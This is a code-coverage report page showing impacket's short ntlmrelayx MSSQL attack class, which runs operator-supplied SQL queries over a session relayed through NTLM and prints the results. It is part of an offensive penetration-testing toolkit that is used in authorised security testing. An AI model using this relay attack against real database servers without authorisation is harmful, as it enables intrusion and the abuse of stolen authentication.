Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/mssqlattack.py : 35%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# MSSQL Attack Class
11# MSSQL protocol relay attack
12#
13# Authors:
14# Alberto Solino (@agsolino)
15# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16#
17from impacket import LOG
18from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
20PROTOCOL_ATTACK_CLASS = "MSSQLAttack"
22class MSSQLAttack(ProtocolAttack):
23 PLUGIN_NAMES = ["MSSQL"]
24 def run(self):
25 if self.config.queries is None:
26 LOG.error('No SQL queries specified for MSSQL relay!')
27 else:
28 for query in self.config.queries:
29 LOG.info('Executing SQL: %s' % query)
30 self.client.sql_query(query)
31 self.client.printReplies()
32 self.client.printRows()